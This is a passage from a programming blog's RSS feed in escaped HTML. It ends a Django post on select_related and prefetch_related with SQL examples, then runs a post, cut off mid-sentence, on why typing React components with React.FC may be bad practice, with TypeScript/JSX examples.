class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; my_app_manytomanyrel.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_manytomanyrel.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_manytomanyrel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; (my_app_manytomanyrel_main.manytomanyrel_id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;prefetch_related&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;val_manytomanyrel_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       my_app_main.name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; my_app_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INNER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;JOIN&lt;/span&gt; my_app_manytomanyrel_main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; (my_app_main.id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_app_manytomanyrel_main.main_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; my_app_manytomanyrel_main.manytomanyrel_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;4&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-related-resources&#34;&gt;Other related resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/31237042/whats-the-difference-between-select-related-and-prefetch-related-in-django-orm&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;¿What&amp;rsquo;s the difference between select_related and prefetch_related in django IRM?&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://buildatscale.tech/select_related-vs-prefetch_related/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Select related vs Prefecth related&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/dev/ref/models/querysets/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;API Queryset reference&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Django&amp;rsquo;s &lt;em&gt;select_related&lt;/em&gt; and &lt;em&gt;prefetch_related&lt;/em&gt; methods &lt;strong&gt;are used to reduce the number of queries made to the database&lt;/strong&gt;. This translates into response time for each view. In addition, using these methods is one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;actions to implement to improve the performance of a Django application&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Just consider that there are more &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;important things to optimize other than your app&amp;rsquo;s performance&lt;/a&gt;&#xA;, but if you insist, dive into annotate and aggregate, and be careful with the nested subqueries of annotate because &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/&#34;&gt;they can make your django queries go really slow&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Why using React.FC could be a bad practice?</title>
      <link>https://coffeebytes.dev/en/react/why-using-react.fc-could-be-a-bad-practice/</link>
      <pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/react/why-using-react.fc-could-be-a-bad-practice/</guid>
      
      <category>react</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;When we use Typescript with React and we want to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/what-types-to-use-for-react-components-with-children/&#34;&gt;pass a children as prop to one of our components&lt;/a&gt;&#xA;, we need to indicate the type. Generally we use the type &lt;em&gt;React.FC&lt;/em&gt;, which is short for &lt;em&gt;React.FunctionComponent&lt;/em&gt;. With this the Typescript message warning us of a children with type any will disappear.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to allowing us to work with children, &lt;em&gt;React.FC&lt;/em&gt; also causes an error if we try to return &lt;em&gt;undefined&lt;/em&gt; from our component.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Type &amp;#39;() =&amp;gt; undefined&amp;#39; can&amp;#39;t be assigned to type &amp;#39;FC&amp;lt;{}&amp;gt;&amp;#39;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Component&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, &lt;em&gt;React.FC&lt;/em&gt; is quite comfortable to use, but some people do not agree with its use.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reactfc-more-disadvantages-than-advantages&#34;&gt;React.FC, more disadvantages than advantages?&lt;/h2&gt;&#xA;&lt;p&gt;What&amp;rsquo;s the problem? Well, some developers claim that &lt;em&gt;React.FC&lt;/em&gt; can bring more disadvantages than advantages, there is even a discussion on github (link at the end), in which it is debated whether it is convenient to remove one of the examples in the documentation that uses it.&lt;/p&gt;&#xA;&lt;p&gt;The user who started this discussion believes that &lt;strong&gt;the fact that &lt;em&gt;React.FC&lt;/em&gt; is so popular is because its presence in the documentation positions it as the default way to handle React components with Typescript.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here are some of the reasons why React.FC may have more disadvantages than advantages.&lt;/p&gt;&#xA;&lt;h3 id=&#34;reactfc-does-not-warn-us-about-unused-children&#34;&gt;React.FC does not warn us about unused children&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;React.FC&lt;/em&gt; is not always the most explicit way to tell typescript that a component receives &lt;em&gt;children&lt;/em&gt; as part of its props.&lt;/p&gt;&#xA;&lt;p&gt;Imagine that we pass a children to the component, but we don&amp;rsquo;t use it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Component from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./Component&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; App() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Component&lt;/span&gt;&amp;gt;I&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;m the children component&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;Component&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; App;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our component does receive the &lt;em&gt;children&lt;/em&gt; as a prop, but the &lt;em&gt;React.FC&lt;/em&gt; type appeases Typescript and prevents it from returning an error, even if we are not using it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;I&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;m not the children which receives the component&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Component&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or, for an opposite case; imagine that we do not want our component to receive a children as one of its props, however, as we are using &lt;em&gt;React.FC&lt;/em&gt; we will not get any error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Component from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./Component&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; App() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;I shouldn&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;t be here&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&amp;lt;/Component&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; App;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;subcomponent-pattern-in-react-gets-more-complicated-using-reactfc&#34;&gt;Subcomponent pattern in React gets more complicated using React.FC&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/@kunukn_95852/react-components-with-namespace-f3d169feaf91&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;component pattern as namespace&lt;/a&gt;&#xA; is fairly simple to create without using &lt;em&gt;React.FC&lt;/em&gt;, but with &lt;em&gt;React.FC&lt;/em&gt; it can get quite complicated.&lt;/p&gt;&#xA;&lt;p&gt;Don&amp;rsquo;t know what it is? Think of a pattern that allows you to group components within a certain parent, which functions as a namespace for our child components; similar to how the C++ namespace &lt;em&gt;std&lt;/em&gt; would work.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace.Component&lt;/span&gt; /&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In its simplest form, omitting &lt;em&gt;React.FC&lt;/em&gt; would look something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Namespace &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; NamespaceProps) =&amp;gt; {&lt;span style=&#34;color:#78787e&#34;&gt;/* ... */&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Namespace.Component &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; ComponentProps) =&amp;gt; { &lt;span style=&#34;color:#78787e&#34;&gt;/*...*/&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But if we choose to use React.FC the code would become more complicated and the readability would decrease a bit.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;NamespaceProps&lt;/span&gt;&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; { Component&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ComponentProps&lt;/span&gt;&amp;gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props) =&amp;gt; {&lt;span style=&#34;color:#78787e&#34;&gt;/* ... */&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Namespace.Component &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props) =&amp;gt; { &lt;span style=&#34;color:#78787e&#34;&gt;/*...*/&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-can-we-use-instead-of-reactfc&#34;&gt;What can we use instead of React.FC?&lt;/h2&gt;&#xA;&lt;p&gt;The core of the criticism is that &lt;strong&gt;React.FC adds the children implicitly, going against the explicit nature of typescript&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Just like using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;the Go programming language&lt;/a&gt;&#xA; for its compiler.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decided to use Go for its compiler instead of Rust, making some Rust developers furious&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decided to use Go for its compiler instead of Rust, making some Rust developers furious&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;However, the discussion I am talking about is just that, a discussion, it is not written in stone, you may consider that it is better to sacrifice a bit of readability in favor of convenience or, on the contrary, you may believe that it is important to be explicit when working with 